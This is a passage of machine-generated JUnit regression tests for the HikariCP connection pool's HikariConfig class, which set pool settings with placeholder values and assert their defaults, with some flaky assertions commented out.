org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(dataSource10);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + false + "'", boolean13 == false);
org.junit.Assert.assertNull(str14);
org.junit.Assert.assertNull(str17);
org.junit.Assert.assertNull(str20);
org.junit.Assert.assertTrue("'" + int23 + "' != '" + (-1) + "'", int23 == (-1));
org.junit.Assert.assertNull(str26);
org.junit.Assert.assertTrue("'" + int27 + "' != '" + (-1) + "'", int27 == (-1));
org.junit.Assert.assertNull(str28);
org.junit.Assert.assertTrue("'" + int29 + "' != '" + (-1) + "'", int29 == (-1));
org.junit.Assert.assertTrue("'" + long35 + "' != '" + 0L + "'", long35 == 0L);
org.junit.Assert.assertTrue("'" + int38 + "' != '" + (-1) + "'", int38 == (-1));
org.junit.Assert.assertNull(str41);
org.junit.Assert.assertTrue("'" + int42 + "' != '" + 60 + "'", int42 == 60);
org.junit.Assert.assertTrue("'" + int43 + "' != '" + (-1) + "'", int43 == (-1));
org.junit.Assert.assertNotNull(properties44);
org.junit.Assert.assertNotNull(properties46);
org.junit.Assert.assertNull(iConnectionCustomizer50);
// flaky: org.junit.Assert.assertTrue("'" + long51 + "' != '" + 35L + "'", long51 == 35L);
org.junit.Assert.assertTrue("'" + int54 + "' != '" + 60 + "'", int54 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long55 + "' != '" + 10L + "'", long55 == 10L);
org.junit.Assert.assertTrue("'" + boolean56 + "' != '" + true + "'", boolean56 == true);
org.junit.Assert.assertTrue("'" + int57 + "' != '" + (-1) + "'", int57 == (-1));
org.junit.Assert.assertNotNull(properties58);
org.junit.Assert.assertTrue("'" + int60 + "' != '" + (-1) + "'", int60 == (-1));
}
@Test
public void test19105() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19105");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
long long2 = hikariConfig1.getIdleTimeout();
hikariConfig1.setConnectionTimeout(5000L);
javax.sql.DataSource dataSource5 = hikariConfig1.dataSource;
hikariConfig1.acquireRetries = 35;
// flaky: org.junit.Assert.assertTrue("'" + long2 + "' != '" + 60L + "'", long2 == 60L);
org.junit.Assert.assertNull(dataSource5);
}
@Test
public void test19106() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19106");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.connectionTimeout = 10L;
hikariConfig1.connectionTestQuery = "HikariPool-104";
java.lang.String str8 = hikariConfig1.getConnectionTestQuery();
hikariConfig1.setDataSourceClassName("HikariPool-10719");
org.junit.Assert.assertEquals("'" + str8 + "' != '" + "HikariPool-104" + "'", str8, "HikariPool-104");
}
@Test
public void test19107() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19107");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.connectionInitSql = "hi!";
hikariConfig1.maxPoolSize = (short) -1;
hikariConfig1.connectionTimeout = 1L;
javax.sql.DataSource dataSource10 = null;
hikariConfig1.setDataSource(dataSource10);
long long12 = hikariConfig1.getAcquireRetryDelay();
java.util.Properties properties13 = hikariConfig1.dataSourceProperties;
org.junit.Assert.assertTrue("'" + long12 + "' != '" + 0L + "'", long12 == 0L);
org.junit.Assert.assertNotNull(properties13);
}
@Test
public void test19108() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19108");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setMinimumPoolSize(1);
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
int int9 = hikariConfig1.minPoolSize;
int int10 = hikariConfig1.minPoolSize;
java.lang.String str11 = hikariConfig1.dataSourceClassName;
long long12 = hikariConfig1.connectionTimeout;
long long13 = hikariConfig1.getConnectionTimeout();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 1 + "'", int9 == 1);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 1 + "'", int10 == 1);
org.junit.Assert.assertNull(str11);
// flaky: org.junit.Assert.assertTrue("'" + long12 + "' != '" + 10L + "'", long12 == 10L);
// flaky: org.junit.Assert.assertTrue("'" + long13 + "' != '" + 10L + "'", long13 == 10L);
}
@Test
public void test19109() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19109");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
java.lang.String str2 = hikariConfig1.getConnectionTestQuery();
long long3 = hikariConfig1.idleTimeout;
hikariConfig1.setInitializationFailFast(true);
boolean boolean6 = hikariConfig1.isJdbc4ConnectionTest();
hikariConfig1.setMaxLifetime((long) (byte) 100);
org.junit.Assert.assertNull(str2);
// flaky: org.junit.Assert.assertTrue("'" + long3 + "' != '" + 60L + "'", long3 == 60L);
org.junit.Assert.assertTrue("'" + boolean6 + "' != '" + true + "'", boolean6 == true);
}
@Test
public void test19110() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19110");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
int int9 = hikariConfig1.maxPoolSize;
hikariConfig1.setJdbc4ConnectionTest(false);
hikariConfig1.connectionTimeout = 100L;
hikariConfig1.maxLifetime = 1800000L;
hikariConfig1.isAutoCommit = true;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
}
@Test
public void test19111() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19111");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setTransactionIsolation("hi!");
int int6 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.isInitializationFailFast = true;
int int9 = hikariConfig1.maxPoolSize;
hikariConfig1.maxLifetime = ' ';
java.lang.String str12 = hikariConfig1.catalog;
long long13 = hikariConfig1.getIdleTimeout();
boolean boolean14 = hikariConfig1.isJdbc4ConnectionTest();
boolean boolean15 = hikariConfig1.isAutoCommit();
hikariConfig1.setMaximumPoolSize(100);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertNull(str12);
// flaky: org.junit.Assert.assertTrue("'" + long13 + "' != '" + 60L + "'", long13 == 60L);
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + true + "'", boolean14 == true);
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + true + "'", boolean15 == true);
}
@Test
public void test19112() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19112");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.connectionTestQuery = "HikariPool-104";
hikariConfig1.maxPoolSize = (short) 100;
java.lang.String str11 = hikariConfig1.getPoolName();
hikariConfig1.isRegisterMbeans = true;
long long14 = hikariConfig1.getMaxLifetime();
long long15 = hikariConfig1.maxLifetime;
boolean boolean16 = hikariConfig1.isJdbc4connectionTest;
javax.sql.DataSource dataSource17 = null;
hikariConfig1.dataSource = dataSource17;
boolean boolean19 = hikariConfig1.isAutoCommit;
hikariConfig1.maxPoolSize = 0;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
// flaky: org.junit.Assert.assertEquals("'" + str11 + "' != '" + "HikariPool-50755" + "'", str11, "HikariPool-50755");
// flaky: org.junit.Assert.assertTrue("'" + long14 + "' != '" + 35L + "'", long14 == 35L);
// flaky: org.junit.Assert.assertTrue("'" + long15 + "' != '" + 35L + "'", long15 == 35L);
org.junit.Assert.assertTrue("'" + boolean16 + "' != '" + true + "'", boolean16 == true);
org.junit.Assert.assertTrue("'" + boolean19 + "' != '" + true + "'", boolean19 == true);
}
@Test
public void test19113() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19113");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
hikariConfig0.setDataSourceClassName("");
hikariConfig0.setConnectionTestQuery("hi!");
hikariConfig0.isRegisterMbeans = false;
java.lang.String str7 = hikariConfig0.getConnectionInitSql();
hikariConfig0.catalog = "HikariPool-113";
javax.sql.DataSource dataSource10 = hikariConfig0.getDataSource();
hikariConfig0.setConnectionInitSql("HikariPool-623");
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNull(dataSource10);
}
@Test
public void test19114() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19114");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setJdbc4ConnectionTest(false);
hikariConfig1.connectionTestQuery = "HikariPool-173";
hikariConfig1.setMaximumPoolSize(0);
hikariConfig1.isInitializationFailFast = false;
hikariConfig1.setIdleTimeout((long) (short) 10);
java.lang.String str19 = hikariConfig1.connectionTestQuery;
hikariConfig1.connectionCustomizerClassName = "HikariPool-334";
java.lang.String str22 = hikariConfig1.getConnectionTestQuery();
hikariConfig1.setLeakDetectionThreshold((long) (short) 10);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 60 + "'", int8 == 60);
org.junit.Assert.assertEquals("'" + str19 + "' != '" + "HikariPool-173" + "'", str19, "HikariPool-173");
org.junit.Assert.assertEquals("'" + str22 + "' != '" + "HikariPool-173" + "'", str22, "HikariPool-173");
}
@Test
public void test19115() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19115");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.connectionTimeout = 10L;
hikariConfig1.connectionTestQuery = "HikariPool-104";
boolean boolean8 = hikariConfig1.isJdbc4connectionTest;
int int9 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setUseInstrumentation(true);
org.junit.Assert.assertTrue("'" + boolean8 + "' != '" + true + "'", boolean8 == true);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + (-1) + "'", int9 == (-1));
}
@Test
public void test19116() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19116");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
long long8 = hikariConfig1.getConnectionTimeout();
java.lang.String str9 = hikariConfig1.transactionIsolationName;
int int10 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isRegisterMbeans = true;
int int15 = hikariConfig1.getMaximumPoolSize();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
// flaky: org.junit.Assert.assertTrue("'" + long8 + "' != '" + 10L + "'", long8 == 10L);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 60 + "'", int10 == 60);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + 60 + "'", int15 == 60);
}
@Test
public void test19117() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19117");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setMinimumPoolSize(1);
int int7 = hikariConfig1.maxPoolSize;
hikariConfig1.isRegisterMbeans = true;
hikariConfig1.setConnectionInitSql("HikariPool-1503");
javax.sql.DataSource dataSource12 = null;
hikariConfig1.setDataSource(dataSource12);
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 60 + "'", int7 == 60);
}
@Test
public void test19118() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19118");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.minPoolSize = (byte) 1;
hikariConfig1.setRegisterMbeans(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer8 = hikariConfig1.connectionCustomizer;
java.util.Properties properties10 = null;
com.zaxxer.hikari.HikariConfig hikariConfig11 = new com.zaxxer.hikari.HikariConfig(properties10);
int int12 = hikariConfig11.getTransactionIsolation();
hikariConfig11.setRegisterMbeans(false);
java.lang.String str15 = hikariConfig11.transactionIsolationName;
int int16 = hikariConfig11.getMaximumPoolSize();
int int17 = hikariConfig11.transactionIsolation;
java.util.Properties properties18 = hikariConfig11.dataSourceProperties;
hikariConfig11.transactionIsolation = (byte) 1;
hikariConfig11.dataSourceClassName = "";
boolean boolean23 = hikariConfig11.isJdbc4connectionTest;
hikariConfig11.setJdbc4ConnectionTest(true);
hikariConfig1.addDataSourceProperty("HikariPool-59", (java.lang.Object) hikariConfig11);
hikariConfig11.setMaxLifetime(52L);
hikariConfig11.minPoolSize = 35;
long long31 = hikariConfig11.idleTimeout;
org.junit.Assert.assertNull(iConnectionCustomizer8);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 60 + "'", int16 == 60);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertNotNull(properties18);
org.junit.Assert.assertTrue("'" + boolean23 + "' != '" + true + "'", boolean23 == true);
// flaky: org.junit.Assert.assertTrue("'" + long31 + "' != '" + 60L + "'", long31 == 60L);
}
@Test
public void test19119() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19119");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
boolean boolean10 = hikariConfig1.isInitializationFailFast();
hikariConfig1.dataSourceClassName = "hi!";
javax.sql.DataSource dataSource13 = null;
hikariConfig1.dataSource = dataSource13;
hikariConfig1.setConnectionInitSql("HikariPool-38049");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + true + "'", boolean10 == true);
}
@Test
public void test19120() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19120");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.connectionTimeout = 10L;
hikariConfig1.connectionTestQuery = "HikariPool-104";
boolean boolean8 = hikariConfig1.isJdbc4connectionTest;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
javax.sql.DataSource dataSource10 = hikariConfig1.getDataSource();
org.junit.Assert.assertTrue("'" + boolean8 + "' != '" + true + "'", boolean8 == true);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(dataSource10);
}
@Test
public void test19121() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19121");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setConnectionTimeout((long) (short) 0);
long long5 = hikariConfig1.idleTimeout;
hikariConfig1.setIdleTimeout(32L);
hikariConfig1.maxLifetime = (short) -1;
hikariConfig1.dataSourceClassName = "HikariPool-15796";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long5 + "' != '" + 60L + "'", long5 == 60L);
}
@Test
public void test19122() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19122");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
java.lang.String str7 = hikariConfig1.getConnectionCustomizerClassName();
hikariConfig1.transactionIsolationName = "";
boolean boolean10 = hikariConfig1.isJdbc4connectionTest;
long long11 = hikariConfig1.connectionTimeout;
java.lang.String str12 = hikariConfig1.connectionInitSql;
boolean boolean13 = hikariConfig1.isRegisterMbeans();
long long14 = hikariConfig1.connectionTimeout;
java.lang.String str15 = hikariConfig1.catalog;
int int16 = hikariConfig1.getAcquireIncrement();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + true + "'", boolean10 == true);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 10L + "'", long11 == 10L);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + false + "'", boolean13 == false);
// flaky: org.junit.Assert.assertTrue("'" + long14 + "' != '" + 10L + "'", long14 == 10L);
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 0 + "'", int16 == 0);
}
@Test
public void test19123() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19123");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
boolean boolean4 = hikariConfig1.isJdbc4ConnectionTest();
java.util.Properties properties5 = null;
com.zaxxer.hikari.HikariConfig hikariConfig6 = new com.zaxxer.hikari.HikariConfig(properties5);
int int7 = hikariConfig6.getTransactionIsolation();
hikariConfig6.setRegisterMbeans(false);
java.lang.String str10 = hikariConfig6.transactionIsolationName;
long long11 = hikariConfig6.getIdleTimeout();
java.lang.String str12 = hikariConfig6.getCatalog();
java.lang.String str13 = hikariConfig6.getConnectionTestQuery();
java.util.Properties properties14 = null;
com.zaxxer.hikari.HikariConfig hikariConfig15 = new com.zaxxer.hikari.HikariConfig(properties14);
hikariConfig15.dataSourceClassName = "";
java.util.Properties properties18 = hikariConfig15.dataSourceProperties;
hikariConfig6.setDataSourceProperties(properties18);
hikariConfig1.dataSourceProperties = properties18;
hikariConfig1.connectionInitSql = "HikariPool-306";
hikariConfig1.setCatalog("");
java.util.Properties properties25 = hikariConfig1.dataSourceProperties;
hikariConfig1.setConnectionCustomizerClassName("HikariPool-308");
hikariConfig1.minPoolSize = '#';
hikariConfig1.setIdleTimeout((long) 87);
hikariConfig1.connectionCustomizerClassName = "HikariPool-845";
java.lang.String str34 = hikariConfig1.connectionTestQuery;
int int35 = hikariConfig1.getAcquireIncrement();
javax.sql.DataSource dataSource36 = hikariConfig1.getDataSource();
hikariConfig1.catalog = "HikariPool-27182";
long long39 = hikariConfig1.getLeakDetectionThreshold();
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + true + "'", boolean4 == true);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNull(str10);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 60L + "'", long11 == 60L);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertNotNull(properties18);
org.junit.Assert.assertNotNull(properties25);
org.junit.Assert.assertNull(str34);
org.junit.Assert.assertTrue("'" + int35 + "' != '" + 0 + "'", int35 == 0);
org.junit.Assert.assertNull(dataSource36);
org.junit.Assert.assertTrue("'" + long39 + "' != '" + 100L + "'", long39 == 100L);
}
@Test
public void test19124() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19124");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
boolean boolean4 = hikariConfig1.isRegisterMbeans();
hikariConfig1.setInitializationFailFast(true);
hikariConfig1.setTransactionIsolation("hi!");
javax.sql.DataSource dataSource9 = null;
hikariConfig1.setDataSource(dataSource9);
hikariConfig1.isJdbc4connectionTest = true;
hikariConfig1.connectionTimeout = 52;
java.lang.String str15 = hikariConfig1.getConnectionCustomizerClassName();
hikariConfig1.setCatalog("HikariPool-27035");
java.lang.String str18 = hikariConfig1.catalog;
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + false + "'", boolean4 == false);
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertEquals("'" + str18 + "' != '" + "HikariPool-27035" + "'", str18, "HikariPool-27035");
}
@Test
public void test19125() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19125");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.maxLifetime = 32L;
hikariConfig1.transactionIsolationName = "HikariPool-629";
hikariConfig1.setCatalog("HikariPool-391");
java.util.Properties properties10 = null;
com.zaxxer.hikari.HikariConfig hikariConfig11 = new com.zaxxer.hikari.HikariConfig(properties10);
int int12 = hikariConfig11.getTransactionIsolation();
hikariConfig11.setRegisterMbeans(false);
java.lang.String str15 = hikariConfig11.transactionIsolationName;
int int16 = hikariConfig11.getMaximumPoolSize();
int int17 = hikariConfig11.transactionIsolation;
java.util.Properties properties18 = hikariConfig11.dataSourceProperties;
hikariConfig11.transactionIsolation = (byte) 1;
hikariConfig11.idleTimeout = (byte) 10;
hikariConfig1.addDataSourceProperty("HikariPool-1153", (java.lang.Object) (byte) 10);
boolean boolean24 = hikariConfig1.isInitializationFailFast;
javax.sql.DataSource dataSource25 = hikariConfig1.dataSource;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer26 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer26;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 60 + "'", int16 == 60);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertNotNull(properties18);
org.junit.Assert.assertTrue("'" + boolean24 + "' != '" + false + "'", boolean24 == false);
org.junit.Assert.assertNull(dataSource25);
}
@Test
public void test19126() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19126");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
java.lang.String str7 = hikariConfig1.getConnectionCustomizerClassName();
javax.sql.DataSource dataSource8 = hikariConfig1.dataSource;
int int9 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setConnectionInitSql("HikariPool-110");
hikariConfig1.setConnectionTestQuery("HikariPool-470");
int int14 = hikariConfig1.minPoolSize;
int int15 = hikariConfig1.getAcquireRetries();
long long16 = hikariConfig1.getIdleTimeout();
int int17 = hikariConfig1.getAcquireIncrement();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNull(dataSource8);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + 10 + "'", int14 == 10);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + 3 + "'", int15 == 3);
// flaky: org.junit.Assert.assertTrue("'" + long16 + "' != '" + 60L + "'", long16 == 60L);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + 0 + "'", int17 == 0);
}
@Test
public void test19127() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19127");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
boolean boolean10 = hikariConfig1.isInitializationFailFast;
hikariConfig1.isRegisterMbeans = false;
hikariConfig1.setIdleTimeout(1L);
hikariConfig1.setTransactionIsolation("HikariPool-112");
long long17 = hikariConfig1.getAcquireRetryDelay();
hikariConfig1.minPoolSize = (byte) 10;
long long20 = hikariConfig1.getAcquireRetryDelay();
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setAcquireIncrement((int) (byte) -1);
// flaky: org.junit.Assert.fail("Expected exception of type java.lang.NullPointerException; message: null");
} catch (java.lang.NullPointerException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
org.junit.Assert.assertTrue("'" + long17 + "' != '" + 0L + "'", long17 == 0L);
org.junit.Assert.assertTrue("'" + long20 + "' != '" + 0L + "'", long20 == 0L);
}
@Test
public void test19128() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19128");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
hikariConfig1.acquireRetries = (short) 10;
int int8 = hikariConfig1.getAcquireIncrement();
java.lang.String str9 = hikariConfig1.getPoolName();
long long10 = hikariConfig1.maxLifetime;
java.util.Properties properties11 = null;
com.zaxxer.hikari.HikariConfig hikariConfig12 = new com.zaxxer.hikari.HikariConfig(properties11);
int int13 = hikariConfig12.getTransactionIsolation();
hikariConfig12.setRegisterMbeans(false);
java.lang.String str16 = hikariConfig12.transactionIsolationName;
long long17 = hikariConfig12.getIdleTimeout();
java.lang.String str18 = hikariConfig12.getCatalog();
java.lang.String str19 = hikariConfig12.getConnectionTestQuery();
javax.sql.DataSource dataSource20 = hikariConfig12.getDataSource();
